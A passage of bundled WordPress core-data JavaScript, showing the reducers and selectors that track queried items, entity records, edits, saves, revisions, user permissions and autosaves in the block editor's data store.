=== 'number') { value = value.toString(); } parts.include = ((_getNormalizedCommaSe2 = get_normalized_comma_separable(value)) !== null && _getNormalizedCommaSe2 !== void 0 ? _getNormalizedCommaSe2 : []).map(Number); // Normalize value for `stableKey`. value = parts.include.join(); } // While it could be any deterministic string, for simplicity's // sake mimic querystring encoding for stable key. // // TODO: For consistency with PHP implementation, addQueryArgs // should accept a key value pair, which may optimize its // implementation for our use here, vs. iterating an object // with only a single key. parts.stableKey += (parts.stableKey ? '&' : '') + (0,external_wp_url_namespaceObject.addQueryArgs)('', { [key]: value }).slice(1); } } return parts; } /* harmony default export */ const get_query_parts = (with_weak_map_cache(getQueryParts)); ;// ./node_modules/@wordpress/core-data/build-module/queried-data/reducer.js /** * WordPress dependencies */ /** * Internal dependencies */ function getContextFromAction(action) { const { query } = action; if (!query) { return 'default'; } const queryParts = get_query_parts(query); return queryParts.context; } /** * Returns a merged array of item IDs, given details of the received paginated * items. The array is sparse-like with `undefined` entries where holes exist. * * @param {?Array<number>} itemIds Original item IDs (default empty array). * @param {number[]} nextItemIds Item IDs to merge. * @param {number} page Page of items merged. * @param {number} perPage Number of items per page. * * @return {number[]} Merged array of item IDs. */ function getMergedItemIds(itemIds, nextItemIds, page, perPage) { var _itemIds$length; const receivedAllIds = page === 1 && perPage === -1; if (receivedAllIds) { return nextItemIds; } const nextItemIdsStartIndex = (page - 1) * perPage; // If later page has already been received, default to the larger known // size of the existing array, else calculate as extending the existing. const size = Math.max((_itemIds$length = itemIds?.length) !== null && _itemIds$length !== void 0 ? _itemIds$length : 0, nextItemIdsStartIndex + nextItemIds.length); // Preallocate array since size is known. const mergedItemIds = new Array(size); for (let i = 0; i < size; i++) { // Preserve existing item ID except for subset of range of next items. // We need to check against the possible maximum upper boundary because // a page could receive fewer than what was previously stored. const isInNextItemsRange = i >= nextItemIdsStartIndex && i < nextItemIdsStartIndex + perPage; mergedItemIds[i] = isInNextItemsRange ? nextItemIds[i - nextItemIdsStartIndex] : itemIds?.[i]; } return mergedItemIds; } /** * Helper function to filter out entities with certain IDs. * Entities are keyed by their ID. * * @param {Object} entities Entity objects, keyed by entity ID. * @param {Array} ids Entity IDs to filter out. * * @return {Object} Filtered entities. */ function removeEntitiesById(entities, ids) { return Object.fromEntries(Object.entries(entities).filter(([id]) => !ids.some(itemId => { if (Number.isInteger(itemId)) { return itemId === +id; } return itemId === id; }))); } /** * Reducer tracking items state, keyed by ID. Items are assumed to be normal, * where identifiers are common across all queries. * * @param {Object} state Current state. * @param {Object} action Dispatched action. * * @return {Object} Next state. */ function items(state = {}, action) { switch (action.type) { case 'RECEIVE_ITEMS': { const context = getContextFromAction(action); const key = action.key || DEFAULT_ENTITY_KEY; return { ...state, [context]: { ...state[context], ...action.items.reduce((accumulator, value) => { const itemId = value?.[key]; accumulator[itemId] = conservativeMapItem(state?.[context]?.[itemId], value); return accumulator; }, {}) } }; } case 'REMOVE_ITEMS': return Object.fromEntries(Object.entries(state).map(([itemId, contextState]) => [itemId, removeEntitiesById(contextState, action.itemIds)])); } return state; } /** * Reducer tracking item completeness, keyed by ID. A complete item is one for * which all fields are known. This is used in supporting `_fields` queries, * where not all properties associated with an entity are necessarily returned. * In such cases, completeness is used as an indication of whether it would be * safe to use queried data for a non-`_fields`-limited request. * * @param {Object<string,Object<string,boolean>>} state Current state. * @param {Object} action Dispatched action. * * @return {Object<string,Object<string,boolean>>} Next state. */ function itemIsComplete(state = {}, action) { switch (action.type) { case 'RECEIVE_ITEMS': { const context = getContextFromAction(action); const { query, key = DEFAULT_ENTITY_KEY } = action; // An item is considered complete if it is received without an associated // fields query. Ideally, this would be implemented in such a way where the // complete aggregate of all fields would satisfy completeness. Since the // fields are not consistent across all entities, this would require // introspection on the REST schema for each entity to know which fields // compose a complete item for that entity. const queryParts = query ? get_query_parts(query) : {}; const isCompleteQuery = !query || !Array.isArray(queryParts.fields); return { ...state, [context]: { ...state[context], ...action.items.reduce((result, item) => { const itemId = item?.[key]; // Defer to completeness if already assigned. Technically the // data may be outdated if receiving items for a field subset. result[itemId] = state?.[context]?.[itemId] || isCompleteQuery; return result; }, {}) } }; } case 'REMOVE_ITEMS': return Object.fromEntries(Object.entries(state).map(([itemId, contextState]) => [itemId, removeEntitiesById(contextState, action.itemIds)])); } return state; } /** * Reducer tracking queries state, keyed by stable query key. Each reducer * query object includes `itemIds` and `requestingPageByPerPage`. * * @param {Object} state Current state. * @param {Object} action Dispatched action. * * @return {Object} Next state. */ const receiveQueries = (0,external_wp_compose_namespaceObject.compose)([ // Limit to matching action type so we don't attempt to replace action on // an unhandled action. if_matching_action(action => 'query' in action), // Inject query parts into action for use both in `onSubKey` and reducer. replace_action(action => { // `ifMatchingAction` still passes on initialization, where state is // undefined and a query is not assigned. Avoid attempting to parse // parts. `onSubKey` will omit by lack of `stableKey`. if (action.query) { return { ...action, ...get_query_parts(action.query) }; } return action; }), on_sub_key('context'), // Queries shape is shared, but keyed by query `stableKey` part. Original // reducer tracks only a single query object. on_sub_key('stableKey')])((state = {}, action) => { const { type, page, perPage, key = DEFAULT_ENTITY_KEY } = action; if (type !== 'RECEIVE_ITEMS') { return state; } return { itemIds: getMergedItemIds(state?.itemIds || [], action.items.map(item => item?.[key]).filter(Boolean), page, perPage), meta: action.meta }; }); /** * Reducer tracking queries state. * * @param {Object} state Current state. * @param {Object} action Dispatched action. * * @return {Object} Next state. */ const queries = (state = {}, action) => { switch (action.type) { case 'RECEIVE_ITEMS': return receiveQueries(state, action); case 'REMOVE_ITEMS': const removedItems = action.itemIds.reduce((result, itemId) => { result[itemId] = true; return result; }, {}); return Object.fromEntries(Object.entries(state).map(([queryGroup, contextQueries]) => [queryGroup, Object.fromEntries(Object.entries(contextQueries).map(([query, queryItems]) => [query, { ...queryItems, itemIds: queryItems.itemIds.filter(queryId => !removedItems[queryId]) }]))])); default: return state; } }; /* harmony default export */ const reducer = ((0,external_wp_data_namespaceObject.combineReducers)({ items, itemIsComplete, queries })); ;// ./node_modules/@wordpress/core-data/build-module/reducer.js /** * External dependencies */ /** * WordPress dependencies */ /** * Internal dependencies */ /** @typedef {import('./types').AnyFunction} AnyFunction */ /** * Reducer managing terms state. Keyed by taxonomy slug, the value is either * undefined (if no request has been made for given taxonomy), null (if a * request is in-flight for given taxonomy), or the array of terms for the * taxonomy. * * @param {Object} state Current state. * @param {Object} action Dispatched action. * * @return {Object} Updated state. */ function terms(state = {}, action) { switch (action.type) { case 'RECEIVE_TERMS': return { ...state, [action.taxonomy]: action.terms }; } return state; } /** * Reducer managing authors state. Keyed by id. * * @param {Object} state Current state. * @param {Object} action Dispatched action. * * @return {Object} Updated state. */ function users(state = { byId: {}, queries: {} }, action) { switch (action.type) { case 'RECEIVE_USER_QUERY': return { byId: { ...state.byId, // Key users by their ID. ...action.users.reduce((newUsers, user) => ({ ...newUsers, [user.id]: user }), {}) }, queries: { ...state.queries, [action.queryID]: action.users.map(user => user.id) } }; } return state; } /** * Reducer managing current user state. * * @param {Object} state Current state. * @param {Object} action Dispatched action. * * @return {Object} Updated state. */ function currentUser(state = {}, action) { switch (action.type) { case 'RECEIVE_CURRENT_USER': return action.currentUser; } return state; } /** * Reducer managing taxonomies. * * @param {Object} state Current state. * @param {Object} action Dispatched action. * * @return {Object} Updated state. */ function taxonomies(state = [], action) { switch (action.type) { case 'RECEIVE_TAXONOMIES': return action.taxonomies; } return state; } /** * Reducer managing the current theme. * * @param {string|undefined} state Current state. * @param {Object} action Dispatched action. * * @return {string|undefined} Updated state. */ function currentTheme(state = undefined, action) { switch (action.type) { case 'RECEIVE_CURRENT_THEME': return action.currentTheme.stylesheet; } return state; } /** * Reducer managing the current global styles id. * * @param {string|undefined} state Current state. * @param {Object} action Dispatched action. * * @return {string|undefined} Updated state. */ function currentGlobalStylesId(state = undefined, action) { switch (action.type) { case 'RECEIVE_CURRENT_GLOBAL_STYLES_ID': return action.id; } return state; } /** * Reducer managing the theme base global styles. * * @param {Record<string, object>} state Current state. * @param {Object} action Dispatched action. * * @return {Record<string, object>} Updated state. */ function themeBaseGlobalStyles(state = {}, action) { switch (action.type) { case 'RECEIVE_THEME_GLOBAL_STYLES': return { ...state, [action.stylesheet]: action.globalStyles }; } return state; } /** * Reducer managing the theme global styles variations. * * @param {Record<string, object>} state Current state. * @param {Object} action Dispatched action. * * @return {Record<string, object>} Updated state. */ function themeGlobalStyleVariations(state = {}, action) { switch (action.type) { case 'RECEIVE_THEME_GLOBAL_STYLE_VARIATIONS': return { ...state, [action.stylesheet]: action.variations }; } return state; } const withMultiEntityRecordEdits = reducer => (state, action) => { if (action.type === 'UNDO' || action.type === 'REDO') { const { record } = action; let newState = state; record.forEach(({ id: { kind, name, recordId }, changes }) => { newState = reducer(newState, { type: 'EDIT_ENTITY_RECORD', kind, name, recordId, edits: Object.entries(changes).reduce((acc, [key, value]) => { acc[key] = action.type === 'UNDO' ? value.from : value.to; return acc; }, {}) }); }); return newState; } return reducer(state, action); }; /** * Higher Order Reducer for a given entity config. It supports: * * - Fetching * - Editing * - Saving * * @param {Object} entityConfig Entity config. * * @return {AnyFunction} Reducer. */ function entity(entityConfig) { return (0,external_wp_compose_namespaceObject.compose)([withMultiEntityRecordEdits, // Limit to matching action type so we don't attempt to replace action on // an unhandled action. if_matching_action(action => action.name && action.kind && action.name === entityConfig.name && action.kind === entityConfig.kind), // Inject the entity config into the action. replace_action(action => { return { key: entityConfig.key || DEFAULT_ENTITY_KEY, ...action }; })])((0,external_wp_data_namespaceObject.combineReducers)({ queriedData: reducer, edits: (state = {}, action) => { var _action$query$context; switch (action.type) { case 'RECEIVE_ITEMS': const context = (_action$query$context = action?.query?.context) !== null && _action$query$context !== void 0 ? _action$query$context : 'default'; if (context !== 'default') { return state; } const nextState = { ...state }; for (const record of action.items) { const recordId = record?.[action.key]; const edits = nextState[recordId]; if (!edits) { continue; } const nextEdits = Object.keys(edits).reduce((acc, key) => { var _record$key$raw; // If the edited value is still different to the persisted value, // keep the edited value in edits. if ( // Edits are the "raw" attribute values, but records may have // objects with more properties, so we use `get` here for the // comparison. !es6_default()(edits[key], (_record$key$raw = record[key]?.raw) !== null && _record$key$raw !== void 0 ? _record$key$raw : record[key]) && ( // Sometimes the server alters the sent value which means // we need to also remove the edits before the api request. !action.persistedEdits || !es6_default()(edits[key], action.persistedEdits[key]))) { acc[key] = edits[key]; } return acc; }, {}); if (Object.keys(nextEdits).length) { nextState[recordId] = nextEdits; } else { delete nextState[recordId]; } } return nextState; case 'EDIT_ENTITY_RECORD': const nextEdits = { ...state[action.recordId], ...action.edits }; Object.keys(nextEdits).forEach(key => { // Delete cleared edits so that the properties // are not considered dirty. if (nextEdits[key] === undefined) { delete nextEdits[key]; } }); return { ...state, [action.recordId]: nextEdits }; } return state; }, saving: (state = {}, action) => { switch (action.type) { case 'SAVE_ENTITY_RECORD_START': case 'SAVE_ENTITY_RECORD_FINISH': return { ...state, [action.recordId]: { pending: action.type === 'SAVE_ENTITY_RECORD_START', error: action.error, isAutosave: action.isAutosave } }; } return state; }, deleting: (state = {}, action) => { switch (action.type) { case 'DELETE_ENTITY_RECORD_START': case 'DELETE_ENTITY_RECORD_FINISH': return { ...state, [action.recordId]: { pending: action.type === 'DELETE_ENTITY_RECORD_START', error: action.error } }; } return state; }, revisions: (state = {}, action) => { // Use the same queriedDataReducer shape for revisions. if (action.type === 'RECEIVE_ITEM_REVISIONS') { const recordKey = action.recordKey; delete action.recordKey; const newState = reducer(state[recordKey], { ...action, type: 'RECEIVE_ITEMS' }); return { ...state, [recordKey]: newState }; } if (action.type === 'REMOVE_ITEMS') { return Object.fromEntries(Object.entries(state).filter(([id]) => !action.itemIds.some(itemId => { if (Number.isInteger(itemId)) { return itemId === +id; } return itemId === id; }))); } return state; } })); } /** * Reducer keeping track of the registered entities. * * @param {Object} state Current state. * @param {Object} action Dispatched action. * * @return {Object} Updated state. */ function entitiesConfig(state = rootEntitiesConfig, action) { switch (action.type) { case 'ADD_ENTITIES': return [...state, ...action.entities]; } return state; } /** * Reducer keeping track of the registered entities config and data. * * @param {Object} state Current state. * @param {Object} action Dispatched action. * * @return {Object} Updated state. */ const entities = (state = {}, action) => { const newConfig = entitiesConfig(state.config, action); // Generates a dynamic reducer for the entities. let entitiesDataReducer = state.reducer; if (!entitiesDataReducer || newConfig !== state.config) { const entitiesByKind = newConfig.reduce((acc, record) => { const { kind } = record; if (!acc[kind]) { acc[kind] = []; } acc[kind].push(record); return acc; }, {}); entitiesDataReducer = (0,external_wp_data_namespaceObject.combineReducers)(Object.entries(entitiesByKind).reduce((memo, [kind, subEntities]) => { const kindReducer = (0,external_wp_data_namespaceObject.combineReducers)(subEntities.reduce((kindMemo, entityConfig) => ({ ...kindMemo, [entityConfig.name]: entity(entityConfig) }), {})); memo[kind] = kindReducer; return memo; }, {})); } const newData = entitiesDataReducer(state.records, action); if (newData === state.records && newConfig === state.config && entitiesDataReducer === state.reducer) { return state; } return { reducer: entitiesDataReducer, records: newData, config: newConfig }; }; /** * @type {UndoManager} */ function undoManager(state = createUndoManager()) { return state; } function editsReference(state = {}, action) { switch (action.type) { case 'EDIT_ENTITY_RECORD': case 'UNDO': case 'REDO': return {}; } return state; } /** * Reducer managing embed preview data. * * @param {Object} state Current state. * @param {Object} action Dispatched action. * * @return {Object} Updated state. */ function embedPreviews(state = {}, action) { switch (action.type) { case 'RECEIVE_EMBED_PREVIEW': const { url, preview } = action; return { ...state, [url]: preview }; } return state; } /** * State which tracks whether the user can perform an action on a REST * resource. * * @param {Object} state Current state. * @param {Object} action Dispatched action. * * @return {Object} Updated state. */ function userPermissions(state = {}, action) { switch (action.type) { case 'RECEIVE_USER_PERMISSION': return { ...state, [action.key]: action.isAllowed }; case 'RECEIVE_USER_PERMISSIONS': return { ...state, ...action.permissions }; } return state; } /** * Reducer returning autosaves keyed by their parent's post id. * * @param {Object} state Current state. * @param {Object} action Dispatched action. * * @return {Object} Updated state. */ function autosaves(state = {}, action) { switch (action.type) { case 'RECEIVE_AUTOSAVES': const { postId, autosaves: autosavesData } = action; return { ...state, [postId]: autosavesData }; } return state; } function blockPatterns(state = [], action) { switch (action.type) { case 'RECEIVE_BLOCK_PATTERNS': return action.patterns; } return state; } function blockPatternCategories(state = [], action) { switch (action.type) { case 'RECEIVE_BLOCK_PATTERN_CATEGORIES': return action.categories; } return state; } function userPatternCategories(state = [], action) { switch (action.type) { case 'RECEIVE_USER_PATTERN_CATEGORIES': return action.patternCategories; } return state; } function navigationFallbackId(state = null, action) { switch (action.type) { case 'RECEIVE_NAVIGATION_FALLBACK_ID': return action.fallbackId; } return state; } /** * Reducer managing the theme global styles revisions. * * @param {Record<string, object>} state Current state. * @param {Object} action Dispatched action. * * @return {Record<string, object>} Updated state. */ function themeGlobalStyleRevisions(state = {}, action) { switch (action.type) { case 'RECEIVE_THEME_GLOBAL_STYLE_REVISIONS': return { ...state, [action.currentId]: action.revisions }; } return state; } /** * Reducer managing the template lookup per query. * * @param {Record<string, string>} state Current state. * @param {Object} action Dispatched action. * * @return {Record<string, string>} Updated state. */ function defaultTemplates(state = {}, action) { switch (action.type) { case 'RECEIVE_DEFAULT_TEMPLATE': return { ...state, [JSON.stringify(action.query)]: action.templateId }; } return state; } /** * Reducer returning an object of registered post meta. * * @param {Object} state Current state. * @param {Object} action Dispatched action. * * @return {Object} Updated state. */ function registeredPostMeta(state = {}, action) { switch (action.type) { case 'RECEIVE_REGISTERED_POST_META': return { ...state, [action.postType]: action.registeredPostMeta }; } return state; } /* harmony default export */ const build_module_reducer = ((0,external_wp_data_namespaceObject.combineReducers)({ terms, users, currentTheme, currentGlobalStylesId, currentUser, themeGlobalStyleVariations, themeBaseGlobalStyles, themeGlobalStyleRevisions, taxonomies, entities, editsReference, undoManager, embedPreviews, userPermissions, autosaves, blockPatterns, blockPatternCategories, userPatternCategories, navigationFallbackId, defaultTemplates, registeredPostMeta })); ;// external ["wp","deprecated"] const external_wp_deprecated_namespaceObject = window["wp"]["deprecated"]; var external_wp_deprecated_default = /*#__PURE__*/__webpack_require__.n(external_wp_deprecated_namespaceObject); ;// ./node_modules/@wordpress/core-data/build-module/name.js /** * The reducer key used by core data in store registration. * This is defined in a separate file to avoid cycle-dependency * * @type {string} */ const STORE_NAME = 'core'; // EXTERNAL MODULE: ./node_modules/equivalent-key-map/equivalent-key-map.js var equivalent_key_map = __webpack_require__(3249); var equivalent_key_map_default = /*#__PURE__*/__webpack_require__.n(equivalent_key_map); ;// ./node_modules/@wordpress/core-data/build-module/utils/set-nested-value.js /** * Sets the value at path of object. * If a portion of path doesn’t exist, it’s created. * Arrays are created for missing index properties while objects are created * for all other missing properties. * * Path is specified as either: * - a string of properties, separated by dots, for example: "x.y". * - an array of properties, for example `[ 'x', 'y' ]`. * * This function intentionally mutates the input object. * * Inspired by _.set(). * * @see https://lodash.com/docs/4.17.15#set * * @todo Needs to be deduplicated with its copy in `@wordpress/edit-site`. * * @param {Object} object Object to modify * @param {Array|string} path Path of the property to set. * @param {*} value Value to set. */ function setNestedValue(object, path, value) { if (!object || typeof object !== 'object') { return object; } const normalizedPath = Array.isArray(path) ? path : path.split('.'); normalizedPath.reduce((acc, key, idx) => { if (acc[key] === undefined) { if (Number.isInteger(normalizedPath[idx + 1])) { acc[key] = []; } else { acc[key] = {}; } } if (idx === normalizedPath.length - 1) { acc[key] = value; } return acc[key]; }, object); return object; } ;// ./node_modules/@wordpress/core-data/build-module/queried-data/selectors.js /** * External dependencies */ /** * WordPress dependencies */ /** * Internal dependencies */ /** * Cache of state keys to EquivalentKeyMap where the inner map tracks queries * to their resulting items set. WeakMap allows garbage collection on expired * state references. * * @type {WeakMap<Object,EquivalentKeyMap>} */ const queriedItemsCacheByState = new WeakMap(); /** * Returns items for a given query, or null if the items are not known. * * @param {Object} state State object. * @param {?Object} query Optional query. * * @return {?Array} Query items. */ function getQueriedItemsUncached(state, query) { const { stableKey, page, perPage, include, fields, context } = get_query_parts(query); let itemIds; if (state.queries?.[context]?.[stableKey]) { itemIds = state.queries[context][stableKey].itemIds; } if (!itemIds) { return null; } const startOffset = perPage === -1 ? 0 : (page - 1) * perPage; const endOffset = perPage === -1 ? itemIds.length : Math.min(startOffset + perPage, itemIds.length); const items = []; for (let i = startOffset; i < endOffset; i++) { const itemId = itemIds[i]; if (Array.isArray(include) && !include.includes(itemId)) { continue; } if (itemId === undefined) { continue; } // Having a target item ID doesn't guarantee that this object has been queried. if (!state.items[context]?.hasOwnProperty(itemId)) { return null; } const item = state.items[context][itemId]; let filteredItem; if (Array.isArray(fields)) { filteredItem = {}; for (let f = 0; f < fields.length; f++) { const field = fields[f].split('.'); let value = item; field.forEach(fieldName => { value = value?.[fieldName]; }); setNestedValue(filteredItem, field, value); } } else { // If expecting a complete item, validate that completeness, or // otherwise abort. if (!state.itemIsComplete[context]?.[itemId]) { return null; } filteredItem = item; } items.push(filteredItem); } return items; } /** * Returns items for a given query, or null if the items are not known. Caches * result both per state (by reference) and per query (by deep equality). * The caching approach is intended to be durable to query objects which are * deeply but not referentially equal, since otherwise: * * `getQueriedItems( state, {} ) !== getQueriedItems( state, {} )` * * @param {Object} state State object. * @param {?Object} query Optional query. * * @return {?Array} Query items. */ const getQueriedItems = (0,external_wp_data_namespaceObject.createSelector)((state, query = {}) => { let queriedItemsCache = queriedItemsCacheByState.get(state); if (queriedItemsCache) { const queriedItems = queriedItemsCache.get(query); if (queriedItems !== undefined) { return queriedItems; } } else { queriedItemsCache = new (equivalent_key_map_default())(); queriedItemsCacheByState.set(state, queriedItemsCache); } const items = getQueriedItemsUncached(state, query); queriedItemsCache.set(query, items); return items; }); function getQueriedTotalItems(state, query = {}) { var _state$queries$contex; const { stableKey, context } = get_query_parts(query); return (_state$queries$contex = state.queries?.[context]?.[stableKey]?.meta?.totalItems) !== null && _state$queries$contex !== void 0 ? _state$queries$contex : null; } function getQueriedTotalPages(state, query = {}) { var _state$queries$contex2; const { stableKey, context } = get_query_parts(query); return (_state$queries$contex2 = state.queries?.[context]?.[stableKey]?.meta?.totalPages) !== null && _state$queries$contex2 !== void 0 ? _state$queries$contex2 : null; } ;// ./node_modules/@wordpress/core-data/build-module/utils/is-numeric-id.js /** * Checks argument to determine if it's a numeric ID. * For example, '123' is a numeric ID, but '123abc' is not. * * @param {any} id the argument to determine if it's a numeric ID. * @return {boolean} true if the string is a numeric ID, false otherwise. */ function isNumericID(id) { return /^\s*\d+\s*$/.test(id); } ;// ./node_modules/@wordpress/core-data/build-module/utils/is-raw-attribute.js /** * Checks whether the attribute is a "raw" attribute or not. * * @param {Object} entity Entity record. * @param {string} attribute Attribute name. * * @return {boolean} Is the attribute raw */ function isRawAttribute(entity, attribute) { return (entity.rawAttributes || []).includes(attribute); } ;// ./node_modules/@wordpress/core-data/build-module/utils/user-permissions.js const ALLOWED_RESOURCE_ACTIONS = ['create', 'read', 'update', 'delete']; function getUserPermissionsFromAllowHeader(allowedMethods) { const permissions = {}; if (!allowedMethods) { return permissions; } const methods = { create: 'POST', read: 'GET', update: 'PUT', delete: 'DELETE' }; for (const [actionName, methodName] of Object.entries(methods)) { permissions[actionName] = allowedMethods.includes(methodName); } return permissions; } function getUserPermissionCacheKey(action, resource, id) { const key = (typeof resource === 'object' ? [action, resource.kind, resource.name, resource.id] : [action, resource, id]).filter(Boolean).join('/'); return key; } ;// ./node_modules/@wordpress/core-data/build-module/selectors.js /** * WordPress dependencies */ /** * Internal dependencies */ // This is an incomplete, high-level approximation of the State type. // It makes the selectors slightly more safe, but is intended to evolve // into a more detailed representation over time. // See https://github.com/WordPress/gutenberg/pull/40025#discussion_r865410589 for more context. /** * HTTP Query parameters sent with the API request to fetch the entity records. */ /** * Arguments for EntityRecord selectors. */ /** * Shared reference to an empty object for cases where it is important to avoid * returning a new object reference on every invocation, as in a connected or * other pure component which performs `shouldComponentUpdate` check on props. * This should be used as a last resort, since the normalized data should be * maintained by the reducer result in state. */ const EMPTY_OBJECT = {}; /** * Returns true if a request is in progress for embed preview data, or false * otherwise. * * @param state Data state. * @param url URL the preview would be for. * * @return Whether a request is in progress for an embed preview. */ const isRequestingEmbedPreview = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => (state, url) => { return select(STORE_NAME).isResolving('getEmbedPreview', [url]); }); /** * Returns all available authors. * * @deprecated since 11.3. Callers should use `select( 'core' ).getUsers({ who: 'authors' })` instead. * * @param state Data state. * @param query Optional object of query parameters to * include with request. For valid query parameters see the [Users page](https://developer.wordpress.org/rest-api/reference/users/) in the REST API Handbook and see the arguments for [List Users](https://developer.wordpress.org/rest-api/reference/users/#list-users) and [Retrieve a User](https://developer.wordpress.org/rest-api/reference/users/#retrieve-a-user). * @return Authors list. */ function getAuthors(state, query) { external_wp_deprecated_default()("select( 'core' ).getAuthors()", { since: '5.9', alternative: "select( 'core' ).getUsers({ who: 'authors' })" }); const path = (0,external_wp_url_namespaceObject.addQueryArgs)('/wp/v2/users/?who=authors&per_page=100', query); return getUserQueryResults(state, path); } /** * Returns the current user. * * @param state Data state. * * @return Current user object. */ function getCurrentUser(state) { return state.currentUser; } /** * Returns all the users returned by a query ID. * * @param state Data state. * @param queryID Query ID. * * @return Users list. */ const getUserQueryResults = (0,external_wp_data_namespaceObject.createSelector)((state, queryID) => { var _state$users$queries$; const queryResults = (_state$users$queries$ = state.users.queries[queryID]) !== null && _state$users$queries$ !== void 0 ? _state$users$queries$ : []; return queryResults.map(id => state.users.byId[id]); }, (state, queryID) => [state.users.queries[queryID], state.users.byId]); /** * Returns the loaded entities for the given kind. * * @deprecated since WordPress 6.0. Use getEntitiesConfig instead * @param state Data state. * @param kind Entity kind. * * @return Array of entities with config matching kind. */ function getEntitiesByKind(state, kind) { external_wp_deprecated_default()("wp.data.select( 'core' ).getEntitiesByKind()", { since: '6.0', alternative: "wp.data.select( 'core' ).getEntitiesConfig()" }); return getEntitiesConfig(state, kind); } /** * Returns the loaded entities for the given kind. * * @param state Data state. * @param kind Entity kind. * * @return Array of entities with config matching kind. */ const getEntitiesConfig = (0,external_wp_data_namespaceObject.createSelector)((state, kind) => state.entities.config.filter(entity => entity.kind === kind), /* eslint-disable @typescript-eslint/no-unused-vars */ (state, kind) => state.entities.config /* eslint-enable @typescript-eslint/no-unused-vars */); /** * Returns the entity config given its kind and name. * * @deprecated since WordPress 6.0. Use getEntityConfig instead * @param state Data state. * @param kind Entity kind. * @param name Entity name. * * @return Entity config */ function getEntity(state, kind, name) { external_wp_deprecated_default()("wp.data.select( 'core' ).getEntity()", { since: '6.0', alternative: "wp.data.select( 'core' ).getEntityConfig()" }); return getEntityConfig(state, kind, name); } /** * Returns the entity config given its kind and name. * * @param state Data state. * @param kind Entity kind. * @param name Entity name. * * @return Entity config */ function getEntityConfig(state, kind, name) { return state.entities.config?.find(config => config.kind === kind && config.name === name); } /** * GetEntityRecord is declared as a *callable interface* with * two signatures to work around the fact that TypeScript doesn't * allow currying generic functions: * * ```ts * type CurriedState = F extends ( state: any, ...args: infer P ) => infer R * ? ( ...args: P ) => R * : F; * type Selector = <K extends string | number>( * state: any, * kind: K, * key: K extends string ? 'string value' : false * ) => K; * type BadlyInferredSignature = CurriedState< Selector > * // BadlyInferredSignature evaluates to: * // (kind: string number, key: false | "string value") => string number * ``` * * The signature without the state parameter shipped as CurriedSignature * is used in the return value of `select( coreStore )`. * * See https://github.com/WordPress/gutenberg/pull/41578 for more details. */ /** * Returns the Entity's record object by key. Returns `null` if the value is not * yet received, undefined if the value entity is known to not exist, or the * entity object if it exists and is received. * * @param state State tree * @param kind Entity kind. * @param name Entity name. * @param key Optional record's key. If requesting a global record (e.g. site settings), the key can be omitted. If requesting a specific item, the key must always be included. * @param query Optional query. If requesting specific * fields, fields must always include the ID. For valid query parameters see the [Reference](https://developer.wordpress.org/rest-api/reference/) in the REST API Handbook and select the entity kind. Then see the arguments available "Retrieve a [Entity kind]". * * @return Record. */ const getEntityRecord = (0,external_wp_data_namespaceObject.createSelector)((state, kind, name, key, query) => { var _query$context; const queriedState = state.entities.records?.[kind]?.[name]?.queriedData; if (!queriedState) { return undefined; } const context = (_query$context = query?.context) !== null && _query$context !== void 0 ? _query$context : 'default'; if (query === undefined) { // If expecting a complete item, validate that completeness. if (!queriedState.itemIsComplete[context]?.[key]) { return undefined; } return queriedState.items[context][key]; } const item = queriedState.items[context]?.[key]; if (item && query._fields) { var _getNormalizedCommaSe; const filteredItem = {}; const fields = (_getNormalizedCommaSe = get_normalized_comma_separable(query._fields)) !== null && _getNormalizedCommaSe !== void 0 ? _getNormalizedCommaSe : []; for (let f = 0; f < fields.length; f++) { const field = fields[f].split('.'); let value = item; field.forEach(fieldName => { value = value?.[fieldName]; }); setNestedValue(filteredItem, field, value); } return filteredItem; } return item; }, (state, kind, name, recordId, query) => { var _query$context2; const context = (_query$context2 = query?.context) !== null && _query$context2 !== void 0 ? _query$context2 : 'default'; return [state.entities.records?.[kind]?.[name]?.queriedData?.items[context]?.[recordId], state.entities.records?.[kind]?.[name]?.queriedData?.itemIsComplete[context]?.[recordId]]; }); /** * Normalizes `recordKey`s that look like numeric IDs to numbers. * * @param args EntityRecordArgs the selector arguments. * @return EntityRecordArgs the normalized arguments. */ getEntityRecord.__unstableNormalizeArgs = args => { const newArgs = [...args]; const recordKey = newArgs?.[2]; // If recordKey looks to be a numeric ID then coerce to number. newArgs[2] = isNumericID(recordKey) ? Number(recordKey) : recordKey; return newArgs; }; /** * Returns the Entity's record object by key. Doesn't trigger a resolver nor requests the entity records from the API if the entity record isn't available in the local state. * * @param state State tree * @param kind Entity kind. * @param name Entity name. * @param key Record's key * * @return Record. */ function __experimentalGetEntityRecordNoResolver(state, kind, name, key) { return getEntityRecord(state, kind, name, key); } /** * Returns the entity's record object by key, * with its attributes mapped to their raw values. * * @param state State tree. * @param kind Entity kind. * @param name Entity name. * @param key Record's key. * * @return Object with the entity's raw attributes. */ const getRawEntityRecord = (0,external_wp_data_namespaceObject.createSelector)((state, kind, name, key) => { const record = getEntityRecord(state, kind, name, key); return record && Object.keys(record).reduce((accumulator, _key) => { if (isRawAttribute(getEntityConfig(state, kind, name), _key)) { // Because edits are the "raw" attribute values, // we return those from record selectors to make rendering, // comparisons, and joins with edits easier. accumulator[_key] = record[_key]?.raw !== undefined ? record[_key]?.raw : record[_key]; } else { accumulator[_key] = record[_key]; } return accumulator; }, {}); }, (state, kind, name, recordId, query) => { var _query$context3; const context = (_query$context3 = query?.context) !== null && _query$context3 !== void 0 ? _query$context3 : 'default'; return [state.entities.config, state.entities.records?.[kind]?.[name]?.queriedData?.items[context]?.[recordId], state.entities.records?.[kind]?.[name]?.queriedData?.itemIsComplete[context]?.[recordId]]; }); /** * Returns true if records have been received for the given set of parameters, * or false otherwise. * * @param state State tree * @param kind Entity kind. * @param name Entity name. * @param query Optional terms query. For valid query parameters see the [Reference](https://developer.wordpress.org/rest-api/reference/) in the REST API Handbook and select the entity kind. Then see the arguments available for "List [Entity kind]s". * * @return Whether entity records have been received. */ function hasEntityRecords(state, kind, name, query) { return Array.isArray(getEntityRecords(state, kind, name, query)); } /** * GetEntityRecord is declared as a *callable interface* with * two signatures to work around the fact that TypeScript doesn't * allow currying generic functions. * * @see GetEntityRecord * @see https://github.com/WordPress/gutenberg/pull/41578 */ /** * Returns the Entity's records. * * @param state State tree * @param kind Entity kind. * @param name Entity name. * @param query Optional terms query. If requesting specific * fields, fields must always include the ID. For valid query parameters see the [Reference](https://developer.wordpress.org/rest-api/reference/) in the REST API Handbook and select the entity kind. Then see the arguments available for "List [Entity kind]s". * * @return Records. */ const getEntityRecords = (state, kind, name, query) => { // Queried data state is prepopulated for all known entities. If this is not // assigned for the given parameters, then it is known to not 